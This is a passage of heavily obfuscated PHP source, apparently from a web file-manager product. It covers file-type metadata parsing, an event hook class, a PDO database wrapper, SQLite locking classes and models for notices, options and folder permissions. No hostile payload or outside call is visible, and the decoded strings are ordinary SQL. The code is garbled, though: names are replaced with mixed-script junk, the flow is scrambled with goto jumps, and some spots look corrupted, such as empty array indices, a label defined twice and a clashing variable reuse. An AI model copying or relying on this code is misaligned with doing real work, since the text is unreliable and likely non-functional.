$d݄[0], $Aҩ[1514] => $d݄[1]); return $e煙; } private static function pdfParse($A芽׏) { return FileParsePdf::parse($A芽׏); } private static function fileTypeParse() { $Cе =& $_SERVER[ѽ]; $A㌕ = self::fileTypeArray(); $f = array(); foreach ($A㌕ as $eℇ => $b솕) { $b = _get($b솕, $Cе[157], $Cе[33]); $bʕ = is_string($b) ? explode($Cе[47], $b) : $b; if (!$bʕ) { continue; } foreach ($bʕ as $b) { $b = strtolower(trim($b)); if (!$b) { continue; } $f[$b] = $eℇ; } $A㌕[$eℇ][$Cе[157]] = array_keys($f); $A㌕[$eℇ][$Cе[1595]] = self::parseKeyMap($b솕[$Cе[1595]]); } return array($Cе[1594] => $A㌕, $Cе[1593] => $f); } private static function parseKeyMap($dܤҾ) { $E =& $_SERVER[ѽ]; foreach ($dܤҾ as $aː => $D죥) { if (is_array($D죥)) { $b = self::parseKeyMap($D죥); if ($b) { $dܤҾ[$aː] = $b; } continue; } $cԞ = explode($E[47], $D죥); $b = array(); foreach ($cԞ as $A잨ӕ) { $A잨ӕ = trim($A잨ӕ); if (!$A잨ӕ) { continue; } if (preg_match($E[1598], $A잨ӕ, $a􎠓)) { $C = explode($E[268], $a􎠓[1]); foreach ($C as $DӔ) { $b[] = str_replace($a􎠓[0], $DӔ, $A잨ӕ); } } else { $b[] = $A잨ӕ; } } $dܤҾ[$aː] = $b; } return $dܤҾ; } private static function valueResetAll($aթ򇮐, $B) { goto b夘; ĚŻ: $eǷɍ = _get($aթ򇮐, $F߆[1611], $F߆[33]); $Cʹ = $C̊畻 . $eן . $eǷɍ; if ($Cʹ && get_charset($Cʹ) != $F߆[323]) { $aթ򇮐[$F߆[1608]][$F߆[1325]] = iconv_to($aթ򇮐[$F߆[1608]][$F߆[1325]], get_charset($Cʹ), $F߆[323]); $aթ򇮐[$F߆[1608]][$F߆[1612]] = iconv_to($aթ򇮐[$F߆[1608]][$F߆[1612]], get_charset($Cʹ), $F߆[323]); $aթ򇮐[$F߆[1608]][$F߆[1613]] = iconv_to($aթ򇮐[$F߆[1608]][$F߆[1613]], get_charset($Cʹ), $F߆[323]); } goto Fԋժ; b夘: $F߆ =& $_SERVER[ѽ]; if (isset($aթ򇮐[$F߆[1599]])) { $CӮ = ceil($aթ򇮐[$F߆[1599]]); $c텶Ϥ = intval($CӮ / 3600); $f܋ҩ = intval(($CӮ - $c텶Ϥ * 3600) / 60); $C = $CӮ % 60; $aթ򇮐[$F߆[1600]] = sprintf($F߆[1601], $c텶Ϥ, $f܋ҩ, $C); if ($c텶Ϥ == 0) { $aթ򇮐[$F߆[1600]] = sprintf($F߆[1602], $f܋ҩ, $C); } } $AՎ = _get($aթ򇮐, $F߆[1603]); goto Bޢ; Bޢ: if ($AՎ) { $A = IO_PATH_SYSTEM_TEMP . $F߆[1604] . KodIO::hashPath($B) . $F߆[1605]; $aթ򇮐[$F߆[1606]] = Action($F߆[1607])->pluginCacheFileSet($A, $AՎ); unset($aթ򇮐[$F߆[1608]][$F߆[1591]]); } $C̊畻 = _get($aթ򇮐, $F߆[1609], $F߆[33]); $eן = _get($aթ򇮐, $F߆[1610], $F߆[33]); goto ĚŻ; Fԋժ: return $aթ򇮐; goto e; e: } private static function valueReset($fɔ, $Cʨ襺, $dȮ) { $b␾ =& $_SERVER[ѽ]; $cϝ = $b␾[1529]; switch ($fɔ) { case $b␾[1614]: $Cʨ襺 = $Cʨ襺 == $b␾[83] ? $b␾[1615] : $b␾[1616]; break; case $b␾[1617]: $Cʨ襺 = $Cʨ襺 ? $Cʨ襺 : null; break; default: break; } switch ($dȮ) { case $b␾[1618]: $Cʨ襺 = round($Cʨ襺, 2); break; case $b␾[184]: case $b␾[107]: if ($Cʨ襺 < 0) { $Cʨ襺 = null; } else { if (is_numeric($Cʨ襺)) { $Cʨ襺 = date($cϝ, $Cʨ襺); } } break; default: break; } return $Cʨ襺; } private static function fileTypeArray() { $cǡ =& $_SERVER[ѽ]; return array($cǡ[1591] => array($cǡ[157] => $cǡ[1619] . $cǡ[1620], $cǡ[1595] => array($cǡ[1512] => $cǡ[1621], $cǡ[1514] => $cǡ[1622], $cǡ[1623] => $cǡ[1624], $cǡ[1625] => $cǡ[1626], $cǡ[184] => $cǡ[1627], $cǡ[107] => $cǡ[1628], $cǡ[1629] => $cǡ[1630], $cǡ[1631] => $cǡ[1632], $cǡ[1633] => $cǡ[1634], $cǡ[1635] => $cǡ[1636], $cǡ[1637] => $cǡ[1638], $cǡ[1639] => $cǡ[1640], $cǡ[1641] => $cǡ[1642], $cǡ[1643] => array($cǡ[1644] => $cǡ[1645], $cǡ[1646] => $cǡ[1647], $cǡ[1648] => $cǡ[1649]), $cǡ[1650] => $cǡ[1651], $cǡ[1652] => $cǡ[1653], $cǡ[1654] => $cǡ[1655], $cǡ[1656] => $cǡ[1657], $cǡ[1658] => array($cǡ[1659] => $cǡ[1660], $cǡ[1661] => $cǡ[1662], $cǡ[1663] => $cǡ[1664], $cǡ[1665] => $cǡ[1666], $cǡ[1667] => $cǡ[1668], $cǡ[1669] => $cǡ[1670], $cǡ[1671] => $cǡ[1672], $cǡ[1673] => $cǡ[1674], $cǡ[1675] => $cǡ[1676], $cǡ[1677] => $cǡ[1678], $cǡ[1679] => $cǡ[1680]))), $cǡ[1681] => array($cǡ[157] => $cǡ[1682] . $cǡ[1683], $cǡ[1595] => array($cǡ[1599] => $cǡ[1684], $cǡ[184] => $cǡ[1685], $cǡ[107] => $cǡ[1686], $cǡ[1631] => $cǡ[1687], $cǡ[1688] => $cǡ[1689], $cǡ[1690] => $cǡ[1617], $cǡ[1691] => $cǡ[1692], $cǡ[1693] => $cǡ[1694], $cǡ[1695] => $cǡ[1696], $cǡ[1608] => array($cǡ[1325] => $cǡ[1697], $cǡ[1612] => $cǡ[1698], $cǡ[1613] => $cǡ[1699], $cǡ[1700] => $cǡ[1701], $cǡ[1702] => $cǡ[1703], $cǡ[1704] => $cǡ[1705], $cǡ[1591] => $cǡ[1706]))), $cǡ[1707] => array($cǡ[157] => $cǡ[1708] . $cǡ[1709], $cǡ[1595] => array($cǡ[1512] => $cǡ[1710], $cǡ[1514] => $cǡ[1711], $cǡ[1599] => $cǡ[1684], $cǡ[184] => $cǡ[1712], $cǡ[107] => $cǡ[1713], $cǡ[1618] => $cǡ[1714], $cǡ[1695] => $cǡ[1715], $cǡ[1691] => $cǡ[1716], $cǡ[1631] => $cǡ[1717], $cǡ[1681] => array($cǡ[1690] => $cǡ[1617], $cǡ[1718] => $cǡ[1719], $cǡ[1688] => $cǡ[1689], $cǡ[1695] => $cǡ[1696], $cǡ[1691] => $cǡ[1720], $cǡ[1693] => $cǡ[1694]))), $cǡ[1721] => array($cǡ[1595] => array($cǡ[1722] => $cǡ[1723], $cǡ[1724] => $cǡ[1725])), $cǡ[1726] => array($cǡ[1595] => array())); } } class Hook { private static $events = array(); public static function get($aϱџ = false) { if (!$aϱџ) { return self::$events; } else { return self::$events[$aϱџ]; } } public static function apply($bڲޣ, $FϺ = array()) { $cσɇ = ActionApply($bڲޣ, $FϺ); if (is_string($bڲޣ)) { Hook::trigger($bڲޣ); } return $cσɇ; } public static function bind($eˏ, $a摕, $b߂ = false) { $b狴 =& $_SERVER[ѽ]; if (!isset(self::$events[$eˏ])) { self::$events[$eˏ] = array(); } self::$events[$eˏ][] = array($b狴[1727] => $a摕, $b狴[1728] => $b߂, $b狴[1729] => 0); } public static function once($e󢒣, $dԃ) { self::bind($e󢒣, $dԃ, !0); } public static function unbind($f, $b = false) { if (!$b) { self::$events[$f] = array(); return; } $AÚ = self::$events[$f]; self::$events[$f] = array(); if (!is_array($AÚ)) { return; } for ($D永 = 0; $D永 < count($AÚ); $D永++) { if ($AÚ[$D永][$_SERVER[ѽ][1727]] == $b) { continue; } self::$events[$f][] = $AÚ[$D永]; } } public static function filter($f, $d֒) { goto dΉ; BƖ: for ($e = 0; $e < count($A꬜); $e++) { $dփꬼ = $A꬜[$e]; if ($dփꬼ[$fְ[1728]] && $dփꬼ[$fְ[1729]] > 1) { continue; } self::$events[$f][$e][$fְ[1729]] = $dփꬼ[$fְ[1729]] + 1; $Dě = self::apply($dփꬼ[$fְ[1727]], array($f׉)); if (!is_null($Dě)) { $f׉ = $Dě; } } return $f׉; goto Bƍ; b䑚: $A꬜ = $B[$f]; $f׉ = $d֒; if (!is_array($A꬜) || count($A꬜) == 0) { return $f׉; } goto BƖ; dΉ: $fְ =& $_SERVER[ѽ]; $B = self::$events; if (!isset($B[$f])) { return $d֒; } goto b䑚; Bƍ: } public static function trigger($aކ) { goto eü; bߏ܂: $e瓻 = func_get_args(); array_shift($e瓻); for ($A̠ = 0; $A̠ < count($C); $A̠++) { $EۡϢ = $C[$A̠]; if ($EۡϢ[$cш[1728]] && $EۡϢ[$cш[1729]] > 1) { continue; } if (defined($cш[1730]) && GLOBAL_LOG_HOOK) { write_log($aކ . $cш[1731] . $EۡϢ[$cш[1727]], $cш[1732]); } self::$events[$aކ][$A̠][$cш[1729]] = $EۡϢ[$cш[1729]] + 1; $C = self::apply($EۡϢ[$cш[1727]], $e瓻); if (defined($cш[1730]) && GLOBAL_LOG_HOOK) { write_log(get_caller_info(), $cш[1732]); if ($EۡϢ[$cш[1729]] == 200) { $aА = is_array($EۡϢ[$cш[1727]]) ? json_encode_force($EۡϢ[$cш[1727]]) : $EۡϢ[$cш[1727]]; write_log($cш[1733] . $aކ . $cш[1734] . $aА, $cш[1735]); } } $a = is_null($C) ? $a : $C; } goto e귢; e귢: return $a; goto DȄ; eü: $cш =& $_SERVER[ѽ]; $Bɲ = self::$events; $a = !1; goto FLj; FLj: if (!isset($Bɲ[$aކ])) { return $a; } $C = $Bɲ[$aކ]; if (!is_array($C) || count($C) == 0) { return $a; } goto bߏ܂; DȄ: } } goto E„; A: class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($FǷ = '') { $bŦ =& $_SERVER[ѽ]; if (!class_exists($bŦ[831])) { think_exception(think_lang($bŦ[10]) . $bŦ[832]); } if (!empty($FǷ)) { $this->config = $FǷ; if (empty($this->config[$bŦ[13]])) { $this->config[$bŦ[13]] = array(); } } } public function connect($E퐃 = '', $b߄ = 0) { $A =& $_SERVER[ѽ]; if (!isset($this->linkID[$b߄])) { goto c˞; c˞: if (empty($E퐃)) { $E퐃 = $this->config; } if ($this->pconnect) { $E퐃[$A[13]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$b߄] = new PDO($E퐃[$A[833]], $E퐃[$A[806]], $E퐃[$A[807]], $E퐃[$A[13]]); } catch (PDOException $D) { think_exception($D->getMessage()); } goto BԮ; BԮ: $this->dbType = $this->_getDsnType($E퐃[$A[833]]); if (in_array($this->dbType, array($A[834], $A[835], $A[836], $A[837]))) { think_exception($A[838] . $this->dbType . $A[839] . $this->dbType . $A[840]); } if (!$this->linkID[$b߄]) { think_exception($A[841]); } goto Aʛ; Aʛ: $this->linkID[$b߄]->exec($A[842] . think_config($A[809])); $this->connected = !0; if (1 != think_config($A[18])) { unset($this->config); } goto Cʌ; Cʌ: } return $this->linkID[$b߄]; } public function free() { $this->PDOStatement = null; } public function query($e, $bȱ = array()) { goto CϪ; CϪ: $B =& $_SERVER[ѽ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } goto E; E: $this->queryStr = $e; if (!empty($bȱ)) { $this->queryStr .= $B[843] . print_r($bȱ, !0) . $B[844]; } if (!empty($this->PDOStatement)) { $this->free(); } goto c ٴ; b͝: if (!1 === $this->PDOStatement) { think_exception($this->error()); } $Eآ = $this->PDOStatement->execute($bȱ); $this->debug(); goto AǪ; c ٴ: think_action_status($B[19], 1); think_status($B[20]); $this->PDOStatement = $this->_linkID->prepare($e); goto b͝; AǪ: if (!1 === $Eآ) { $this->error(); return !1; } else { return $this->getAll(); } goto CҦ; CҦ: } public function execute($bԉ, $c = array()) { goto BӰ窈; a޴: $this->queryStr = $bԉ; if (!empty($c)) { $this->queryStr .= $E갃[843] . print_r($c, !0) . $E갃[844]; } $D搈ɒ = !1; goto dӍ; BӰ窈: $E갃 =& $_SERVER[ѽ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } goto a޴; fɇ: think_status($E갃[20]); $this->PDOStatement = $this->_linkID->prepare($bԉ); if (!1 === $this->PDOStatement) { think_exception($this->error()); } goto cݾ; cݾ: $fӲ = $this->PDOStatement->execute($c); $this->debug(); if (!1 === $fӲ) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($D搈ɒ || preg_match($E갃[849], $bԉ)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } goto d쫠; dӍ: if ($this->dbType == $E갃[837]) { if (preg_match($E갃[845], $this->queryStr, $b)) { $this->table = think_config($E갃[846]) . str_ireplace(think_config($E갃[847]), $E갃[358], $b[2]); $D搈ɒ = (bool) $this->query($E갃[848] . strtoupper($this->table) . $E갃[55]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($E갃[21], 1); goto fɇ; d쫠: } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $a˲ = $this->_linkID->commit(); $this->transTimes = 0; if (!$a˲) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $c = $this->_linkID->rollback(); $this->transTimes = 0; if (!$c) { $this->error(); return !1; } } return !0; } private function getAll() { $Aۿ䣸 = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($Aۿ䣸); return $Aۿ䣸; } public function getFields($Aٽ) { goto D; D: $Dї = $this->query($E); $e = array(); if ($Dї) { foreach ($Dї as $E => $D) { $D = array_change_key_case($D); $D[$e[28]] = isset($D[$e[28]]) ? $D[$e[28]] : $e[358]; $D[$e[29]] = isset($D[$e[29]]) ? $D[$e[29]] : $e[358]; $e = isset($D[$e[258]]) ? $D[$e[258]] : $D[$e[28]]; $e[$e] = array($e[28] => $e, $e[29] => $D[$e[29]], $e[31] => (bool) (isset($D[$e[101]]) && $D[$e[101]] === $e[33] || isset($D[$e[31]]) && $D[$e[31]] === $e[33]), $e[34] => isset($D[$e[34]]) ? $D[$e[34]] : (isset($D[$e[53]]) ? $D[$e[53]] : $e[358]), $e[36] => isset($D[$e[89]]) ? strtolower($D[$e[89]]) == $e[38] : (isset($D[$e[54]]) ? $D[$e[54]] : !1), $e[39] => isset($D[$e[866]]) ? strtolower($D[$e[866]]) == $e[41] : (isset($D[$e[89]]) ? $D[$e[89]] : !1)); } } goto D™㽓; D™㽓: return $e; goto eҫ; D: $e =& $_SERVER[ѽ]; $this->initConnect(!0); if (think_config($e[850])) { $E = str_replace($e[851], $Aٽ, think_config($e[850])); } else { switch ($this->dbType) { case $e[834]: case $e[852]: $E = "\123\105\x4c\x45\x43\x54\x20\x20\x20\x63\x6f\x6c\165\155\x6e\x5f\x6e\141\155\x65\x20\x61\x73\40\x27\x4e\x61\x6d\145\x27\x2c\40\40\40\144\141\x74\141\x5f\x74\171\160\x65\x20\x61\163\40\x27\124\x79\x70\145\47\54\x20\x20\x20\143\x6f\154\x75\155\x6e\x5f\144\x65\x66\141\165\154\164\x20\x61\x73\40\47\104\x65\x66\141\165\154\164\47\x2c\x20\x20\40\x69\x73\137\156\165\x6c\x6c\x61\142\x6c\145\x20\141\x73\x20\x27\x4e\x75\154\x6c\47\xa\x9\x9\x46\122\x4f\x4d\11\151\x6e\146\x6f\x72\x6d\x61\x74\151\157\x6e\137\163\143\x68\145\x6d\x61\56\164\x61\x62\154\x65\163\x20\x41\123\40\x74\12\x9\11\112\x4f\x49\116\11\x69\x6e\146\x6f\x72\x6d\141\x74\151\x6f\156\137\x73\143\x68\x65\155\141\x2e\x63\157\x6c\x75\x6d\x6e\x73\40\101\x53\x20\143\12\x9\x9\x4f\x4e\40\x20\164\56\164\141\142\154\x65\x5f\143\141\x74\x61\x6c\157\x67\40\x3d\x20\x63\x2e\164\x61\142\154\145\x5f\x63\141\x74\141\x6c\157\x67\xa\11\x9\101\x4e\104\x20\164\x2e\x74\141\x62\x6c\145\137\163\143\150\x65\155\141\40\75\x20\x63\x2e\164\x61\142\154\x65\137\x73\143\150\145\155\141\12\11\11\101\116\104\40\164\56\x74\141\142\x6c\x65\x5f\x6e\x61\x6d\145\x20\x3d\40\143\56\x74\x61\x62\154\145\x5f\156\x61\155\x65\xa\x9\11\x57\110\x45\x52\x45\40\x20\40\x74\x2e\164\141\142\154\x65\137\x6e\141\x6d\x65\x20\x3d\40\47{$Aٽ}\x27"; break; case $e[853]: $E = $e[854] . $Aٽ . $e[855]; break; case $e[835]: case $e[837]: $E = $e[856] . $e[857] . $e[858] . strtoupper($Aٽ) . $e[859] . strtoupper($Aٽ) . $e[860]; break; case $e[861]: $E = $e[862] . $Aٽ . $e[863]; break; case $e[836]: break; case $e[864]: default: $E = $e[865] . ($this->dbType == $e[864] ? "\x60{$Aٽ}\x60" : $Aٽ); } } goto D; eҫ: } public function getTables($a䤄 = '') { $b܎Ɇ =& $_SERVER[ѽ]; if (think_config($b܎Ɇ[867])) { $DƩԽ = str_replace($b܎Ɇ[868], $a䤄, think_config($b܎Ɇ[867])); } else { switch ($this->dbType) { case $b܎Ɇ[835]: case $b܎Ɇ[837]: $DƩԽ = $b܎Ɇ[869]; break; case $b܎Ɇ[834]: case $b܎Ɇ[852]: $DƩԽ = $b܎Ɇ[870]; break; case $b܎Ɇ[861]: $DƩԽ = $b܎Ɇ[871]; break; case $b܎Ɇ[836]: think_exception(think_lang($b܎Ɇ[872]) . $b܎Ɇ[873]); break; case $b܎Ɇ[853]: $DƩԽ = $b܎Ɇ[42] . $b܎Ɇ[43] . $b܎Ɇ[44]; break; case $b܎Ɇ[864]: default: if (!empty($a䤄)) { $DƩԽ = $b܎Ɇ[817] . $a䤄; } else { $DƩԽ = $b܎Ɇ[818]; } } } $e܏ = $this->query($DƩԽ); $aߘ񉈈 = array(); foreach ($e܏ as $E => $eۮ) { $aߘ񉈈[$E] = current($eۮ); } return $aߘ񉈈; } protected function parseLimit($EƢ) { $c =& $_SERVER[ѽ]; $C㗈 = $c[33]; if (!empty($EƢ)) { switch ($this->dbType) { case $c[861]: case $c[853]: $EƢ = explode($c[47], $EƢ); if (count($EƢ) > 1) { $C㗈 .= $c[48] . $EƢ[1] . $c[49] . $EƢ[0] . $c[50]; } else { $C㗈 .= $c[48] . $EƢ[0] . $c[50]; } break; case $c[834]: case $c[852]: break; case $c[836]: break; case $c[835]: case $c[837]: break; case $c[864]: default: $C㗈 .= $c[48] . $EƢ . $c[50]; } } return $C㗈; } public function parseKey(&$C؄, $f֫ = true) { $B淝 =& $_SERVER[ѽ]; if ($f֫) { $C؄ = $this->parseKeyCheck($C؄); } if ($this->dbType == $B淝[864]) { if ($C؄ != $B淝[173] && !preg_match($B淝[828], $C؄)) { $C؄ = $B淝[829] . trim($C؄, $B淝[829]) . $B淝[829]; } return $C؄; } else { return parent::parseKey($C؄); } } public function close() { $this->_linkID = null; } public function error() { $E =& $_SERVER[ѽ]; if ($this->PDOStatement) { $eַ = $this->PDOStatement->errorInfo(); $this->error = $eַ[1] . $E[4] . $eַ[2]; } else { $this->error = $E[33]; } if ($E[33] != $this->queryStr) { $this->error .= LNG($E[45]) . $this->queryStr; } think_trace($this->error, $E[33], $E[46]); return $this->error; } public function escapeString($B) { $CĄʅ =& $_SERVER[ѽ]; switch ($this->dbType) { case $CĄʅ[861]: case $CĄʅ[834]: case $CĄʅ[852]: case $CĄʅ[864]: return addslashes($B); case $CĄʅ[836]: case $CĄʅ[853]: case $CĄʅ[835]: case $CĄʅ[837]: return str_ireplace($CĄʅ[55], $CĄʅ[56], $B); } } protected function parseValue($c҉) { $A  =& $_SERVER[ѽ]; if (is_string($c҉)) { $c҉ = strpos($c҉, $A [4]) === 0 ? $this->escapeString($c҉) : $A [874] . $this->escapeString($c҉) . $A [874]; } elseif (isset($c҉[0]) && is_string($c҉[0]) && strtolower($c҉[0]) == $A [282]) { $c҉ = $this->escapeString($c҉[1]); } elseif (is_array($c҉)) { $c҉ = array_map(array($this, $A [875]), $c҉); } elseif (is_bool($c҉)) { $c҉ = $c҉ ? $A [83] : $A [464]; } elseif (is_null($c҉)) { $c҉ = $A [101]; } return $c҉; } public function getLastInsertId() { $c =& $_SERVER[ѽ]; switch ($this->dbType) { case $c[861]: case $c[853]: case $c[834]: case $c[852]: case $c[836]: case $c[864]: return $this->_linkID->lastInsertId(); case $c[835]: case $c[837]: $DΟ = $this->table; $B = $this->query("\123\x45\114\x45\103\124\40{$DΟ}\x2e\x63\165\162\x72\x76\x61\x6c\x20\143\x75\x72\x72\x76\141\154\x20\x46\x52\x4f\x4d\x20\x64\x75\x61\154"); return $B ? $B[0][$c[876]] : 0; } } } class DbSqlite extends DbSqliteBase { public function query($b) { goto F嗝; F嗝: $Dߣ =& $_SERVER[ѽ]; $Fεٲ = DATA_PATH . $Dߣ[877]; $Bٝу = fopen($Fεٲ, $Dߣ[878]); goto c׋; Cب: fclose($Bٝу); show_json($Dߣ[879], !1); return !1; goto AшϑȽ; c׋: if (!$Bٝу) { return !1; } if (flock($Bٝу, LOCK_EX)) { $B = parent::query($b); flock($Bٝу, LOCK_UN); fclose($Bٝу); return $B; } flock($Bٝу, LOCK_UN); goto Cب; AшϑȽ: } public function execute($Aנ) { goto e; b業愌: fclose($A); show_json($e[879], !1); return !1; goto Fţ; e: $e =& $_SERVER[ѽ]; $Aٟ = DATA_PATH . $e[877]; $A = fopen($Aٟ, $e[878]); goto bѽ; bѽ: if (!$A) { return !1; } if (flock($A, LOCK_EX)) { $D̴ǣ = parent::execute($Aנ); flock($A, LOCK_UN); fclose($A); return $D̴ǣ; } flock($A, LOCK_UN); goto b業愌; Fţ: } } class DbSqlite3 extends DbSqlite3Base { public function query($bîΙ) { goto d̩; C׭: fclose($a⣹); show_json($Bߟ[879], !1); return !1; goto aӥɾ; d̩: $Bߟ =& $_SERVER[ѽ]; $Eީ = DATA_PATH . $Bߟ[877]; $a⣹ = fopen($Eީ, $Bߟ[878]); goto C; C: if (!$a⣹) { return !1; } if (flock($a⣹, LOCK_EX)) { $Fߛ = parent::query($bîΙ); flock($a⣹, LOCK_UN); fclose($a⣹); return $Fߛ; } flock($a⣹, LOCK_UN); goto C׭; aӥɾ: } public function execute($EՅ) { goto b; E: fclose($c); show_json($cΉ[879], !1); return !1; goto eک펽; Aޯ: if (!$c) { return !1; } if (flock($c, LOCK_EX)) { $eۨ = parent::execute($EՅ); flock($c, LOCK_UN); fclose($c); return $eۨ; } flock($c, LOCK_UN); goto E; b: $cΉ =& $_SERVER[ѽ]; $Cڢ = DATA_PATH . $cΉ[877]; $c = fopen($Cڢ, $cΉ[878]); goto Aޯ; eک펽: } } goto f˛; d: define($_SERVER[ѽ][1908], 1); define($_SERVER[ѽ][1909], 2); define($_SERVER[ѽ][1910], 3); goto f‹; B͋: function beforeShutdown() { Hook::trigger($_SERVER[][36]); } $_SERVER[$_SERVER[][37]] = BASIC_PATH; $_SERVER[$_SERVER[][38]] = LIB_DIR; goto b؂ÿ; e: class SystemNoticeModel extends ModelBaseLight { public $optionType = "\123\171\x73\x74\x65\155\56\156\157\x74\151\x63\x65\114\151\163\x74"; public $field = array("\x6e\x61\155\145", "\143\157\x6e\164\145\x6e\164", "\x61\x75\x74\x68", "\x6d\x6f\144\x65", "\x74\151\155\x65", "\164\x79\160\x65", "\154\145\166\145\x6c", "\145\156\x61\x62\154\145", "\x73\x6f\x72\x74"); public function listData($B蟄 = false, $c⍱ؙ = "\x73\x6f\162\x74", $F屲ވ = false) { return parent::listData($B蟄, $c⍱ؙ, $F屲ވ); } public function add($fҭә) { goto a޲; c퐇: $AĘ = time(); if ($fҭә[$Dݐ䐑[12]] == $Dݐ䐑[2439]) { $AĘ = strtotime($fҭә[$Dݐ䐑[187]]); } $fҭә[$Dݐ䐑[187]] = $AĘ; goto a㖌; a޲: $Dݐ䐑 =& $_SERVER[ѽ]; $a = $this->findByName($fҭә[$Dݐ䐑[28]]); if ($a) { return !1; } goto c퐇; a㖌: return parent::insert($fҭә); goto fķ; fķ: } public function update($eұ, $B䅋޳) { goto DЂ; DЂ: $eە =& $_SERVER[ѽ]; $e = $this->listData($eұ); $C瞳ؐ = $this->findByName($B䅋޳[$eە[28]]); goto bޓʤ; B: $B䅋޳[$eە[187]] = $b⹧̹; return parent::update($eұ, $B䅋޳); goto b; bޓʤ: if (!$e || $C瞳ؐ && $C瞳ؐ[$eە[364]] != $e[$eە[364]]) { return !1; } $b⹧̹ = time(); if ($B䅋޳[$eە[12]] == $eە[2439]) { $b⹧̹ = strtotime($B䅋޳[$eە[187]]); } goto B; b: } public function remove($A) { $aı҃ = $this->listData($A); if (!$aı҃ || $aı҃[$_SERVER[ѽ][1084]]) { return !1; } return parent::remove($A); } public function sort($Fُ, $B񆝹) { return parent::update($Fُ, $B񆝹); } public function enable($eƬ, $F¢) { return parent::update($eƬ, array($_SERVER[ѽ][2440] => $F¢)); } private function initUserOption() { $C =& $_SERVER[ѽ]; $this->optionType = $C[2441]; $this->modelType = $C[2442]; $this->field = array($C[2443], $C[28], $C[187], $C[29], $C[2444], $C[699], $C[180]); } public function userNoticeGet($E = false) { $this->initUserOption(); return parent::listData($E, $_SERVER[ѽ][364], !0); } public function userNoticeAdd($E) { $dɑܬ =& $_SERVER[ѽ]; $this->initUserOption(); $Fߑ = $this->findByKey($dɑܬ[2443], $E[$dɑܬ[364]]); if ($Fߑ) { return !0; } $Bɣݭ = array($dɑܬ[2443] => $E[$dɑܬ[364]], $dɑܬ[28] => $E[$dɑܬ[28]], $dɑܬ[187] => $E[$dɑܬ[187]], $dɑܬ[29] => isset($E[$dɑܬ[29]]) ? $E[$dɑܬ[29]] : 1, $dɑܬ[2444] => isset($E[$dɑܬ[2444]]) ? $E[$dɑܬ[2444]] : 0, $dɑܬ[699] => 0, $dɑܬ[180] => 0); return parent::insert($Bɣݭ); } public function userNoticeEdit($bФ, $fل) { $this->initUserOption(); return parent::update($bФ, $fل); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "\163\171\x73\164\x65\155\x5f\157\160\x74\151\157\156"; protected $jsonField = array("\x6d\x65\x6e\165", "\162\157\154\145", "\x72\x6f\x6c\x65\x47\x72\157\x75\x70", "\162\x65\147\151\x73\x74", "\145\x6d\141\151\154"); function __construct() { parent::__construct(); } protected function cacheKey($a) { return "\x53\171\x73\x74\145\x6d\117\x70\x74\x69\x6f\x6e\x5f{$a}"; } protected function optionDefault($Aؒ = '') { $f =& $_SERVER[ѽ]; if ($Aؒ == $f[33]) { return $GLOBALS[$f[6]][$f[2445]]; } } } class SystemRecordModel extends ModelBaseLight { } goto dӮϼ; Bɋһ: class SourceAuthModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\x73\157\165\x72\x63\145\137\141\x75\164\x68"; public function getAuth($B) { goto AŮͤ; AŮͤ: $C냠 =& $_SERVER[ѽ]; $BȪ = $C냠[2226]; $FŘ = array($C냠[366] => $B); goto aج; a: return $d; goto DѯȻ; aج: $Eƚ = $this->field($BȪ)->order($C냠[364])->where($FŘ)->select(); $d = array(); foreach ($Eƚ as $f) { if (Model($C냠[2227])->listData($f[$C냠[2208]])) { $d[] = $f; } } goto a; DѯȻ: } public function setAuth($fέ, $a) { goto dݸ; dݸ: $A =& $_SERVER[ѽ]; $dݎ = Model($A[1114])->sourceInfo($fέ); if ($dݎ[$A[368]] != SourceModel::TYPE_GROUP) { return !1; } goto EÞ; a҃Ƃ: $A = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $aԊܢ = array(); foreach ($a as $bʰ) { if (!in_array($bʰ[$A[368]], $A)) { show_json(LNG($A[2228]), !1); } if ($c != $fܪ) { if ($bʰ[$A[368]] == SourceModel::TYPE_GROUP) { } if ($bʰ[$A[452]] != 0 && !in_array($bʰ[$A[452]], $A۬Ղ)) { } } if ($bʰ[$A[452]] == 0) { $bʰ[$A[368]] = SourceModel::TYPE_USER; } $aԊܢ[] = array($A[366] => $fέ, $A[368] => intval($bʰ[$A[368]]), $A[452] => intval($bʰ[$A[452]]), $A[2208] => intval($bʰ[$A[2208]]) ? intval($bʰ[$A[2208]]) : 0, $A[2209] => intval($bʰ[$A[2209]]) ? intval($bʰ[$A[2209]]) : -1); } goto aɕ; aɕ: $this->where(array($A[380] => $fέ))->delete(); $this->addAll($aԊܢ); return !0; goto F; EÞ: $fܪ = 1; $c = $dݎ[$A[452]]; if ($c != $fܪ) { $fĒ = array($A[2080] => $c); $A۬Ղ = Model($A[2154])->field($A[1417])->where($fĒ)->select(); $A۬Ղ = array_to_keyvalue($A۬Ղ, $A[33], $A[1417]); } goto a҃Ƃ; F: } public function authClear($F쭾) { $b睑 =& $_SERVER[ѽ]; $fÉя = Model($b睑[1114])->sourceInfo($F쭾); $B˶߈ = array($F쭾); if ($fÉя[$b睑[367]] == $b睑[83]) { $E늑 = array($b睑[521] => array($b睑[479], $fÉя[$b睑[455]] . $F쭾 . $b睑[480])); $B˶߈ = Model($b睑[1114])->field($b睑[380])->where($E늑)->getField($b睑[366], !0); $B˶߈[] = $F쭾; } $this->where(array($b睑[380] => array($b睑[381], $B˶߈)))->delete(); return !0; } public function get($fƹ) { $Cٕ = $this->getSourceList(array($fƹ), !0); return $Cٕ[0]; } public function getSourceList($e, $Dߪǯ = false) { goto bػ; bػ: $fԊ =& $_SERVER[ѽ]; if (!$e) { return array(); } $cә = Model($fԊ[1114]); goto a꩝; c: $c㌿ = array($fԊ[380] => array($fԊ[381], $Fؘ)); $f = 